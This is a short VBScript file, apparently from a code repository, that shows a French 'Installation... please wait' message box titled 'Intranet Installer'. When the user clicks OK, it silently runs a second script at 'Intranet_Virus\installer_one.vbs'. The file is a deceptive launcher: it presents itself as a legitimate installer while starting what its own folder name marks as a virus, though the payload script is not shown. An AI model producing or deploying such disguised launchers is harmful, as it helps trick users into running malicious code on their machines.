8 lines
No EOL
241 B
Text
Executable file
8 lines
No EOL
241 B
Text
Executable file
result = MsgBox ("Installation... Veuillez Patientez", vbInformation, "Intranet Installer")
|
|
|
|
Select Case result
|
|
Case vbOk
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "Intranet_Virus\installer_one.vbs"
|
|
|
|
End Select |